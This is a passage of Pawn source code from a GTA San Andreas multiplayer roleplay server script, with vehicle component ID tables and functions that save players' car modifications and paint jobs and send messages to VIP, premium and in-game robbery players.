		  "Zero s RC Shop",
		  "Ammu-nation (version 4)",
		  "Ammu-nation (version 5)",
		  "Burglary House X20",
		  "24/07/09 (version 6)",
		  "Secret Valley Diner",
		  "Rosenberg s Office in Caligulas",
		  "Fanny Batter s Whore House",//
		  "Colonel Furhberger s",
		  "Cluckin  Bell",
		  "The Camel s Toe Safehouse",
		  "Caligula s Roof",
		  "Old Venturas Strip Casino",
		  "Driving School",
		  "Verdant Bluffs Safehouse",
		  "Bike School",
		  "Andromada",
		  "Four Dragons  Janitor s Office",
		  "Bar",
		  "Burglary House X21",
		  "Willowfield Safehouse",
		  "Burglary House X22",
		  "Burglary House X23",
		  "Otto s Autos",
		  "Wang Cars"
	  },
	  spoiler[20][0] =
	  {
		  {1000},
		  {1001},
		  {1002},
		  {1003},
		  {1014},
		  {1015},
		  {1016},
		  {1023},
		  {1058},
		  {1060},
		  {1049},
		  {1050},
		  {1138},
		  {1139},
		  {1146},
		  {1147},
		  {1158},
		  {1162},
		  {1163},
		  {1164}
	  },
	  fbumper[23][0] =
	  {
		  {1117},
		  {1152},
		  {1153},
		  {1155},
		  {1157},
		  {1160},
		  {1165},
		  {1167},
		  {1169},
		  {1170},
		  {1171},
		  {1172},
		  {1173},
		  {1174},
		  {1175},
		  {1179},
		  {1181},
		  {1182},
		  {1185},
		  {1188},
		  {1189},
		  {1192},
		  {1193}
	  },
	  rbumper[22][0] =
	  {
		  {1140},
		  {1141},
		  {1148},
		  {1149},
		  {1150},
		  {1151},
		  {1154},
		  {1156},
		  {1159},
		  {1161},
		  {1166},
		  {1168},
		  {1176},
		  {1177},
		  {1178},
		  {1180},
		  {1183},
		  {1184},
		  {1186},
		  {1187},
		  {1190},
		  {1191}
	  },
	  exhaust[28][0] =
	  {
		  {1018},
		  {1019},
		  {1020},
		  {1021},
		  {1022},
		  {1028},
		  {1029},
		  {1037},
		  {1043},
		  {1044},
		  {1045},
		  {1046},
		  {1059},
		  {1064},
		  {1065},
		  {1066},
		  {1089},
		  {1092},
		  {1104},
		  {1105},
		  {1113},
		  {1114},
		  {1126},
		  {1127},
		  {1129},
		  {1132},
		  {1135},
		  {1136}
	  },
	  bventr[2][0] =
	  {
		  {1142},
		  {1144}
	   },
	  bventl[2][0] =
	  {
		  {1143},
		  {1145}
	  },

	  bscoop[4][0] =
	  {
		  {1004},
		  {1005},
		  {1011},
		  {1012}
	  },
	  rscoop[17][0] =
	  {
		  {1006},
		  {1032},
		  {1033},
		  {1035},
		  {1038},
		  {1053},
		  {1054},
		  {1055},
		  {1061},
		  {1067},
		  {1068},
		  {1088},
		  {1091},
		  {1103},
		  {1128},
		  {1130},
		  {1131}
	  },
	  lskirt[21][0] =
	  {
		  {1007},
		  {1026},
		  {1031},
		  {1036},
		  {1039},
		  {1042},
		  {1047},
		  {1048},
		  {1056},
		  {1057},
		  {1069},
		  {1070},
		  {1090},
		  {1093},
		  {1106},
		  {1108},
		  {1118},
		  {1119},
		  {1133},
		  {1122},
		  {1134}
	  },
	  rskirt[21][0] =
	  {
		  {1017},
		  {1027},
		  {1030},
		  {1040},
		  {1041},
		  {1051},
		  {1052},
		  {1062},
		  {1063},
		  {1071},
		  {1072},
		  {1094},
		  {1095},
		  {1099},
		  {1101},
		  {1102},
		  {1107},
		  {1120},
		  {1121},
		  {1124},
		  {1137}
	  },
	  hydraulics[1][0] =
	  {
		  {1087}
	  },
	  base[1][0] =
	  {
		  {1086}
	  },
	  rbbars[4][0] =
	  {
		  {1109},
		  {1110},
		  {1123},
		  {1125}
	  },
	  fbbars[2][0] =
	  {
		  {1115},
		  {1116}
	  },
	  wheels[17][0] =
	  {
		  {1025},
		  {1073},
		  {1074},
		  {1075},
		  {1076},
		  {1077},
		  {1078},
		  {1079},
		  {1080},
		  {1081},
		  {1082},
		  {1083},
		  {1084},
		  {1085},
		  {1096},
		  {1097},
		  {1098}
	  },
	  lightss[2][0] =
	  {
		  {1013},
		  {1024}
	  };
/*----------------------------------------------------------------------------*/
public SendPremiumMessage(color, string[])
{
	for(new i = 0; i < MAX_PLAYERS; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(PlayerInfo[i][pPremiumAccount] > 0)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
}
public SendRobMessage(color, string[])
{
   if(KiRafteAzRob!=1&&sGunner1!=INVALID_PLAYER_ID)SendClientMessage(sGunner1, color, string);
   if(KiRafteAzRob!=2&&sGunner2!=INVALID_PLAYER_ID)SendClientMessage(sGunner2, color, string);
   if(KiRafteAzRob!=3&&sHacker!=INVALID_PLAYER_ID)SendClientMessage(sHacker,   color, string);
   if(KiRafteAzRob!=4&&sRunner!=INVALID_PLAYER_ID)SendClientMessage(sRunner,   color, string);
}
public SendVipMessage(color, string[])
{
	for(new i = 0; i < MAX_PLAYERS; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(PlayerInfo[i][pVip] > 0)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
}
forward Float:GetPlayerPL(playerid);
public Float:GetPlayerPL(playerid)
{
new Float:playerpackets = NetStats_PacketLossPercent(playerid);
return playerpackets;
}
public Float:GetDistanceBetweenPlayers(p1,p2)
{
	new Float:x1,Float:y1,Float:z1,Float:x2,Float:y2,Float:z2;
	if(!IsPlayerConnected(p1) || !IsPlayerConnected(p2))
	{
	   return -1.00;
	}
	GetPlayerPos(p1,x1,y1,z1);
	GetPlayerPos(p2,x2,y2,z2);
	return floatsqroot(floatpower(floatabs(floatsub(x2,x1)),2)+floatpower(floatabs(floatsub(y2,y1)),2)+floatpower(floatabs(floatsub(z2,z1)),2));
}
/*----------------------------------------------------------------------------*/
public SaveComponent(vehicleid,componentid)
{
	if(OwnedMashin[vehicleid] == 1 && IsPlayerConnected(MashinOwner[vehicleid]) && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_1])
	{
	new r = PlayerInfo[MashinOwner[vehicleid]][pVeh1];
	   for(new s=0; s<20; s++)
	   {
		  if(componentid == spoiler[s][0])
		  {
			 vInfo[r][cMod1] = componentid;
			 SaveKonValV(r, "cMod1", componentid);
		  }
	   }
	   for(new s=0; s<23; s++)
	   {
		  if(componentid == fbumper[s][0])
		  {
			 vInfo[r][cMod3] = componentid;
			 SaveKonValV(r, "cMod3", componentid);
		  }
	   }
	   for(new s=0; s<22; s++)
	   {
		  if(componentid == rbumper[s][0])
		  {
			 vInfo[r][cMod4] = componentid;
			 SaveKonValV(r, "cMod4", componentid);
		  }
	   }
	   for(new s=0; s<28; s++)
	   {
		  if(componentid == exhaust[s][0])
		  {
			 vInfo[r][cMod5] = componentid;
			 SaveKonValV(r, "cMod5", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == bventr[s][0])
		  {
			vInfo[r][cMod6] = componentid;
			 SaveKonValV(r, "cMod6", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == bventl[s][0])
		  {
			 vInfo[r][cMod7] = componentid;
			 SaveKonValV(r, "cMod7", componentid);
		  }
	   }
	   for(new s=0; s<4; s++)
	   {
		  if(componentid == bscoop[s][0])
		  {
			 vInfo[r][cMod8] = componentid;
			 SaveKonValV(r, "cMod8", componentid);
		  }
	   }
	   for(new s=0; s<17; s++)
	   {
		  if(componentid == rscoop[s][0])
		  {
			 vInfo[r][cMod9] = componentid;
			 SaveKonValV(r, "cMod9", componentid);
		  }
	   }
	   for(new s=0; s<21; s++)
	   {
		  if(componentid == lskirt[s][0])
		  {
			 vInfo[r][cMod10] = componentid;
			 SaveKonValV(r, "cMod10", componentid);
		  }
	   }
	   for(new s=0; s<21; s++)
	   {
		  if(componentid == rskirt[s][0])
		  {
			 vInfo[r][cMod11] = componentid;
			 SaveKonValV(r, "cMod11", componentid);
		  }
	   }
	   for(new s=0; s<1; s++)
	   {
		  if(componentid == hydraulics[s][0])
		  {
			 vInfo[r][cMod12] = componentid;
			 SaveKonValV(r, "cMod12", componentid);
		  }
	   }
	   for(new s=0; s<1; s++)
	   {
		  if(componentid == base[s][0])
		  {
			 vInfo[r][cMod13] = componentid;
			 SaveKonValV(r, "cMod13", componentid);
		  }
	   }
	   for(new s=0; s<4; s++)
	   {
		  if(componentid == rbbars[s][0])
		  {
			 vInfo[r][cMod14] = componentid;
			 SaveKonValV(r, "cMod14", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == fbbars[s][0])
		  {
			 vInfo[r][cMod15] = componentid;
			 SaveKonValV(r, "cMod15", componentid);
		  }
	   }
	   for(new s=0; s<17; s++)
	   {
		  if(componentid == wheels[s][0])
		  {
			vInfo[r][cMod16] = componentid;
			 SaveKonValV(r, "cMod16", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == lightss[s][0])
		  {
			vInfo[r][cMod17] = componentid;
			 SaveKonValV(r, "cMod17", componentid);
		  }
	   }
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	if(OwnedMashin[vehicleid] == 1 && IsPlayerConnected(MashinOwner[vehicleid]) && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_2])
	{
	new r = PlayerInfo[MashinOwner[vehicleid]][pVeh2];
	   for(new s=0; s<20; s++)
	   {
		  if(componentid == spoiler[s][0])
		  {
			 vInfo[r][cMod1] = componentid;
			 SaveKonValV(r, "cMod1", componentid);
		  }
	   }
	   for(new s=0; s<23; s++)
	   {
		  if(componentid == fbumper[s][0])
		  {
			 vInfo[r][cMod3] = componentid;
			 SaveKonValV(r, "cMod3", componentid);
		  }
	   }
	   for(new s=0; s<22; s++)
	   {
		  if(componentid == rbumper[s][0])
		  {
			 vInfo[r][cMod4] = componentid;
			 SaveKonValV(r, "cMod4", componentid);
		  }
	   }
	   for(new s=0; s<28; s++)
	   {
		  if(componentid == exhaust[s][0])
		  {
			 vInfo[r][cMod5] = componentid;
			 SaveKonValV(r, "cMod5", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == bventr[s][0])
		  {
			vInfo[r][cMod6] = componentid;
			 SaveKonValV(r, "cMod6", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == bventl[s][0])
		  {
			 vInfo[r][cMod7] = componentid;
			 SaveKonValV(r, "cMod7", componentid);
		  }
	   }
	   for(new s=0; s<4; s++)
	   {
		  if(componentid == bscoop[s][0])
		  {
			 vInfo[r][cMod8] = componentid;
			 SaveKonValV(r, "cMod8", componentid);
		  }
	   }
	   for(new s=0; s<17; s++)
	   {
		  if(componentid == rscoop[s][0])
		  {
			 vInfo[r][cMod9] = componentid;
			 SaveKonValV(r, "cMod9", componentid);
		  }
	   }
	   for(new s=0; s<21; s++)
	   {
		  if(componentid == lskirt[s][0])
		  {
			 vInfo[r][cMod10] = componentid;
			 SaveKonValV(r, "cMod10", componentid);
		  }
	   }
	   for(new s=0; s<21; s++)
	   {
		  if(componentid == rskirt[s][0])
		  {
			 vInfo[r][cMod11] = componentid;
			 SaveKonValV(r, "cMod11", componentid);
		  }
	   }
	   for(new s=0; s<1; s++)
	   {
		  if(componentid == hydraulics[s][0])
		  {
			 vInfo[r][cMod12] = componentid;
			 SaveKonValV(r, "cMod12", componentid);
		  }
	   }
	   for(new s=0; s<1; s++)
	   {
		  if(componentid == base[s][0])
		  {
			 vInfo[r][cMod13] = componentid;
			 SaveKonValV(r, "cMod13", componentid);
		  }
	   }
	   for(new s=0; s<4; s++)
	   {
		  if(componentid == rbbars[s][0])
		  {
			 vInfo[r][cMod14] = componentid;
			 SaveKonValV(r, "cMod14", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == fbbars[s][0])
		  {
			 vInfo[r][cMod15] = componentid;
			 SaveKonValV(r, "cMod15", componentid);
		  }
	   }
	   for(new s=0; s<17; s++)
	   {
		  if(componentid == wheels[s][0])
		  {
			vInfo[r][cMod16] = componentid;
			 SaveKonValV(r, "cMod16", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == lightss[s][0])
		  {
			vInfo[r][cMod17] = componentid;
			 SaveKonValV(r, "cMod17", componentid);
		  }
	   }
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && IsPlayerConnected(MashinOwner[vehicleid]) && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_3])
	{
	new r = PlayerInfo[MashinOwner[vehicleid]][pVeh3];
	   for(new s=0; s<20; s++)
	   {
		  if(componentid == spoiler[s][0])
		  {
			 vInfo[r][cMod1] = componentid;
			 SaveKonValV(r, "cMod1", componentid);
		  }
	   }
	   for(new s=0; s<23; s++)
	   {
		  if(componentid == fbumper[s][0])
		  {
			 vInfo[r][cMod3] = componentid;
			 SaveKonValV(r, "cMod3", componentid);
		  }
	   }
	   for(new s=0; s<22; s++)
	   {
		  if(componentid == rbumper[s][0])
		  {
			 vInfo[r][cMod4] = componentid;
			 SaveKonValV(r, "cMod4", componentid);
		  }
	   }
	   for(new s=0; s<28; s++)
	   {
		  if(componentid == exhaust[s][0])
		  {
			 vInfo[r][cMod5] = componentid;
			 SaveKonValV(r, "cMod5", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == bventr[s][0])
		  {
			vInfo[r][cMod6] = componentid;
			 SaveKonValV(r, "cMod6", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == bventl[s][0])
		  {
			 vInfo[r][cMod7] = componentid;
			 SaveKonValV(r, "cMod7", componentid);
		  }
	   }
	   for(new s=0; s<4; s++)
	   {
		  if(componentid == bscoop[s][0])
		  {
			 vInfo[r][cMod8] = componentid;
			 SaveKonValV(r, "cMod8", componentid);
		  }
	   }
	   for(new s=0; s<17; s++)
	   {
		  if(componentid == rscoop[s][0])
		  {
			 vInfo[r][cMod9] = componentid;
			 SaveKonValV(r, "cMod9", componentid);
		  }
	   }
	   for(new s=0; s<21; s++)
	   {
		  if(componentid == lskirt[s][0])
		  {
			 vInfo[r][cMod10] = componentid;
			 SaveKonValV(r, "cMod10", componentid);
		  }
	   }
	   for(new s=0; s<21; s++)
	   {
		  if(componentid == rskirt[s][0])
		  {
			 vInfo[r][cMod11] = componentid;
			 SaveKonValV(r, "cMod11", componentid);
		  }
	   }
	   for(new s=0; s<1; s++)
	   {
		  if(componentid == hydraulics[s][0])
		  {
			 vInfo[r][cMod12] = componentid;
			 SaveKonValV(r, "cMod12", componentid);
		  }
	   }
	   for(new s=0; s<1; s++)
	   {
		  if(componentid == base[s][0])
		  {
			 vInfo[r][cMod13] = componentid;
			 SaveKonValV(r, "cMod13", componentid);
		  }
	   }
	   for(new s=0; s<4; s++)
	   {
		  if(componentid == rbbars[s][0])
		  {
			 vInfo[r][cMod14] = componentid;
			 SaveKonValV(r, "cMod14", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == fbbars[s][0])
		  {
			 vInfo[r][cMod15] = componentid;
			 SaveKonValV(r, "cMod15", componentid);
		  }
	   }
	   for(new s=0; s<17; s++)
	   {
		  if(componentid == wheels[s][0])
		  {
			vInfo[r][cMod16] = componentid;
			 SaveKonValV(r, "cMod16", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == lightss[s][0])
		  {
			vInfo[r][cMod17] = componentid;
			 SaveKonValV(r, "cMod17", componentid);
		  }
	   }
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && IsPlayerConnected(MashinOwner[vehicleid]) && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_4])
	{
	new r = PlayerInfo[MashinOwner[vehicleid]][pVeh4];
	   for(new s=0; s<20; s++)
	   {
		  if(componentid == spoiler[s][0])
		  {
			 vInfo[r][cMod1] = componentid;
			 SaveKonValV(r, "cMod1", componentid);
		  }
	   }
	   for(new s=0; s<23; s++)
	   {
		  if(componentid == fbumper[s][0])
		  {
			 vInfo[r][cMod3] = componentid;
			 SaveKonValV(r, "cMod3", componentid);
		  }
	   }
	   for(new s=0; s<22; s++)
	   {
		  if(componentid == rbumper[s][0])
		  {
			 vInfo[r][cMod4] = componentid;
			 SaveKonValV(r, "cMod4", componentid);
		  }
	   }
	   for(new s=0; s<28; s++)
	   {
		  if(componentid == exhaust[s][0])
		  {
			 vInfo[r][cMod5] = componentid;
			 SaveKonValV(r, "cMod5", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == bventr[s][0])
		  {
			vInfo[r][cMod6] = componentid;
			 SaveKonValV(r, "cMod6", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == bventl[s][0])
		  {
			 vInfo[r][cMod7] = componentid;
			 SaveKonValV(r, "cMod7", componentid);
		  }
	   }
	   for(new s=0; s<4; s++)
	   {
		  if(componentid == bscoop[s][0])
		  {
			 vInfo[r][cMod8] = componentid;
			 SaveKonValV(r, "cMod8", componentid);
		  }
	   }
	   for(new s=0; s<17; s++)
	   {
		  if(componentid == rscoop[s][0])
		  {
			 vInfo[r][cMod9] = componentid;
			 SaveKonValV(r, "cMod9", componentid);
		  }
	   }
	   for(new s=0; s<21; s++)
	   {
		  if(componentid == lskirt[s][0])
		  {
			 vInfo[r][cMod10] = componentid;
			 SaveKonValV(r, "cMod10", componentid);
		  }
	   }
	   for(new s=0; s<21; s++)
	   {
		  if(componentid == rskirt[s][0])
		  {
			 vInfo[r][cMod11] = componentid;
			 SaveKonValV(r, "cMod11", componentid);
		  }
	   }
	   for(new s=0; s<1; s++)
	   {
		  if(componentid == hydraulics[s][0])
		  {
			 vInfo[r][cMod12] = componentid;
			 SaveKonValV(r, "cMod12", componentid);
		  }
	   }
	   for(new s=0; s<1; s++)
	   {
		  if(componentid == base[s][0])
		  {
			 vInfo[r][cMod13] = componentid;
			 SaveKonValV(r, "cMod13", componentid);
		  }
	   }
	   for(new s=0; s<4; s++)
	   {
		  if(componentid == rbbars[s][0])
		  {
			 vInfo[r][cMod14] = componentid;
			 SaveKonValV(r, "cMod14", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == fbbars[s][0])
		  {
			 vInfo[r][cMod15] = componentid;
			 SaveKonValV(r, "cMod15", componentid);
		  }
	   }
	   for(new s=0; s<17; s++)
	   {
		  if(componentid == wheels[s][0])
		  {
			vInfo[r][cMod16] = componentid;
			 SaveKonValV(r, "cMod16", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == lightss[s][0])
		  {
			vInfo[r][cMod17] = componentid;
			 SaveKonValV(r, "cMod17", componentid);
		  }
	   }
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && IsPlayerConnected(MashinOwner[vehicleid]) && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_5])
	{
	new r = PlayerInfo[MashinOwner[vehicleid]][pVeh5];
	   for(new s=0; s<20; s++)
	   {
		  if(componentid == spoiler[s][0])
		  {
			 vInfo[r][cMod1] = componentid;
			 SaveKonValV(r, "cMod1", componentid);
		  }
	   }
	   for(new s=0; s<23; s++)
	   {
		  if(componentid == fbumper[s][0])
		  {
			 vInfo[r][cMod3] = componentid;
			 SaveKonValV(r, "cMod3", componentid);
		  }
	   }
	   for(new s=0; s<22; s++)
	   {
		  if(componentid == rbumper[s][0])
		  {
			 vInfo[r][cMod4] = componentid;
			 SaveKonValV(r, "cMod4", componentid);
		  }
	   }
	   for(new s=0; s<28; s++)
	   {
		  if(componentid == exhaust[s][0])
		  {
			 vInfo[r][cMod5] = componentid;
			 SaveKonValV(r, "cMod5", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == bventr[s][0])
		  {
			vInfo[r][cMod6] = componentid;
			 SaveKonValV(r, "cMod6", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == bventl[s][0])
		  {
			 vInfo[r][cMod7] = componentid;
			 SaveKonValV(r, "cMod7", componentid);
		  }
	   }
	   for(new s=0; s<4; s++)
	   {
		  if(componentid == bscoop[s][0])
		  {
			 vInfo[r][cMod8] = componentid;
			 SaveKonValV(r, "cMod8", componentid);
		  }
	   }
	   for(new s=0; s<17; s++)
	   {
		  if(componentid == rscoop[s][0])
		  {
			 vInfo[r][cMod9] = componentid;
			 SaveKonValV(r, "cMod9", componentid);
		  }
	   }
	   for(new s=0; s<21; s++)
	   {
		  if(componentid == lskirt[s][0])
		  {
			 vInfo[r][cMod10] = componentid;
			 SaveKonValV(r, "cMod10", componentid);
		  }
	   }
	   for(new s=0; s<21; s++)
	   {
		  if(componentid == rskirt[s][0])
		  {
			 vInfo[r][cMod11] = componentid;
			 SaveKonValV(r, "cMod11", componentid);
		  }
	   }
	   for(new s=0; s<1; s++)
	   {
		  if(componentid == hydraulics[s][0])
		  {
			 vInfo[r][cMod12] = componentid;
			 SaveKonValV(r, "cMod12", componentid);
		  }
	   }
	   for(new s=0; s<1; s++)
	   {
		  if(componentid == base[s][0])
		  {
			 vInfo[r][cMod13] = componentid;
			 SaveKonValV(r, "cMod13", componentid);
		  }
	   }
	   for(new s=0; s<4; s++)
	   {
		  if(componentid == rbbars[s][0])
		  {
			 vInfo[r][cMod14] = componentid;
			 SaveKonValV(r, "cMod14", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == fbbars[s][0])
		  {
			 vInfo[r][cMod15] = componentid;
			 SaveKonValV(r, "cMod15", componentid);
		  }
	   }
	   for(new s=0; s<17; s++)
	   {
		  if(componentid == wheels[s][0])
		  {
			vInfo[r][cMod16] = componentid;
			 SaveKonValV(r, "cMod16", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == lightss[s][0])
		  {
			vInfo[r][cMod17] = componentid;
			 SaveKonValV(r, "cMod17", componentid);
		  }
	   }
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && IsPlayerConnected(MashinOwner[vehicleid]) && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_6])
	{
	new r = PlayerInfo[MashinOwner[vehicleid]][pVeh6];
	   for(new s=0; s<20; s++)
	   {
		  if(componentid == spoiler[s][0])
		  {
			 vInfo[r][cMod1] = componentid;
			 SaveKonValV(r, "cMod1", componentid);
		  }
	   }
	   for(new s=0; s<23; s++)
	   {
		  if(componentid == fbumper[s][0])
		  {
			 vInfo[r][cMod3] = componentid;
			 SaveKonValV(r, "cMod3", componentid);
		  }
	   }
	   for(new s=0; s<22; s++)
	   {
		  if(componentid == rbumper[s][0])
		  {
			 vInfo[r][cMod4] = componentid;
			 SaveKonValV(r, "cMod4", componentid);
		  }
	   }
	   for(new s=0; s<28; s++)
	   {
		  if(componentid == exhaust[s][0])
		  {
			 vInfo[r][cMod5] = componentid;
			 SaveKonValV(r, "cMod5", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == bventr[s][0])
		  {
			vInfo[r][cMod6] = componentid;
			 SaveKonValV(r, "cMod6", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == bventl[s][0])
		  {
			 vInfo[r][cMod7] = componentid;
			 SaveKonValV(r, "cMod7", componentid);
		  }
	   }
	   for(new s=0; s<4; s++)
	   {
		  if(componentid == bscoop[s][0])
		  {
			 vInfo[r][cMod8] = componentid;
			 SaveKonValV(r, "cMod8", componentid);
		  }
	   }
	   for(new s=0; s<17; s++)
	   {
		  if(componentid == rscoop[s][0])
		  {
			 vInfo[r][cMod9] = componentid;
			 SaveKonValV(r, "cMod9", componentid);
		  }
	   }
	   for(new s=0; s<21; s++)
	   {
		  if(componentid == lskirt[s][0])
		  {
			 vInfo[r][cMod10] = componentid;
			 SaveKonValV(r, "cMod10", componentid);
		  }
	   }
	   for(new s=0; s<21; s++)
	   {
		  if(componentid == rskirt[s][0])
		  {
			 vInfo[r][cMod11] = componentid;
			 SaveKonValV(r, "cMod11", componentid);
		  }
	   }
	   for(new s=0; s<1; s++)
	   {
		  if(componentid == hydraulics[s][0])
		  {
			 vInfo[r][cMod12] = componentid;
			 SaveKonValV(r, "cMod12", componentid);
		  }
	   }
	   for(new s=0; s<1; s++)
	   {
		  if(componentid == base[s][0])
		  {
			 vInfo[r][cMod13] = componentid;
			 SaveKonValV(r, "cMod13", componentid);
		  }
	   }
	   for(new s=0; s<4; s++)
	   {
		  if(componentid == rbbars[s][0])
		  {
			 vInfo[r][cMod14] = componentid;
			 SaveKonValV(r, "cMod14", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == fbbars[s][0])
		  {
			 vInfo[r][cMod15] = componentid;
			 SaveKonValV(r, "cMod15", componentid);
		  }
	   }
	   for(new s=0; s<17; s++)
	   {
		  if(componentid == wheels[s][0])
		  {
			vInfo[r][cMod16] = componentid;
			 SaveKonValV(r, "cMod16", componentid);
		  }
	   }
	   for(new s=0; s<2; s++)
	   {
		  if(componentid == lightss[s][0])
		  {
			vInfo[r][cMod17] = componentid;
			 SaveKonValV(r, "cMod17", componentid);
		  }
	   }
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	return 1;
}
public OnVehicleRespray(playerid, vehicleid, color1, color2)
{
	GetVehicleHealth(vehicleid, HPVEH[vehicleid]);
	return 1;
}
public OnVehiclePaintjob(playerid, vehicleid, paintjobid)
{
	GetVehicleHealth(vehicleid, HPVEH[vehicleid]);
	if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_1])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh1];
	   vInfo[r][cPaintJob] = paintjobid;
	   SaveKonValV(r, "cPaintJob", paintjobid);
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_2])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh2];
	   vInfo[r][cPaintJob] = paintjobid;
	   SaveKonValV(r, "cPaintJob", paintjobid);
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_3])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh3];
	   vInfo[r][cPaintJob] = paintjobid;
	   SaveKonValV(r, "cPaintJob", paintjobid);
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_4])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh4];
	   vInfo[r][cPaintJob] = paintjobid;
	   SaveKonValV(r, "cPaintJob", paintjobid);
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_5])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh5];
	   vInfo[r][cPaintJob] = paintjobid;
	   SaveKonValV(r, "cPaintJob", paintjobid);
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_6])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh6];
	   vInfo[r][cPaintJob] = paintjobid;
	   SaveKonValV(r, "cPaintJob", paintjobid);
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	return 1;
}
/*stock AddSnowObject(modelid, Float:x, Float:y, Float:z, Float:rx, Float:ry, Float:rz)
{
	new
		  object = CreateDynamicObject(modelid, x + 0.05, y + 0.075, z + 0.1, rx, ry, rz, -1, -1, -1, 300.0, 0.0);
	for(new a = 0; a < 30; a++)
	   SetDynamicObjectMaterial(object, a, 17944, "lngblok_lae2", "white64bumpy", 0);

	return object;
}

stock AddSnowObjects()
{
	AddSnowObject(5145, 2716.79687, -2447.87500, 2.15625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5146, 2498.19531, -2408.00781, 1.80468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5147, 2533.76562, -2330.82812, 22.19531, 0.00000, 0.00000, 315.00000);
	AddSnowObject(3753, 2702.39843, -2324.25781, 3.03906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5333, 2374.38281, -2171.46875, 21.17968, 0.00000, 0.00000, 135.00000);
	AddSnowObject(5191, 2381.44531, -2397.43750, 6.67187, 0.00000, 0.00000, 45.00000);
	AddSnowObject(5176, 2521.53906, -2606.95312, 17.64843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3753, 2615.10937, -2464.61718, 3.03906, 0.00000, 0.00000, 180.00000);
	AddSnowObject(3753, 2748.01562, -2571.59375, 3.03906, 0.00000, 0.00000, 180.00000);
	AddSnowObject(5115, 2523.40625, -2217.46093, 12.07031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3753, 2511.47656, -2256.03125, 3.03906, 0.00000, 0.00000, 180.00000);
	AddSnowObject(5108, 2333.55468, -2308.71093, 3.27343, 0.00000, 0.00000, 45.00000);
	AddSnowObject(5353, 2543.75000, -2163.78906, 14.20312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5250, 2743.43750, -2120.64062, 15.42187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5184, 2699.03125, -2227.74218, 31.42968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5114, 2831.68750, -2161.52343, 5.33593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5125, 2397.82031, -2183.05468, 15.33593, 0.00000, 0.00000, 0.00000);
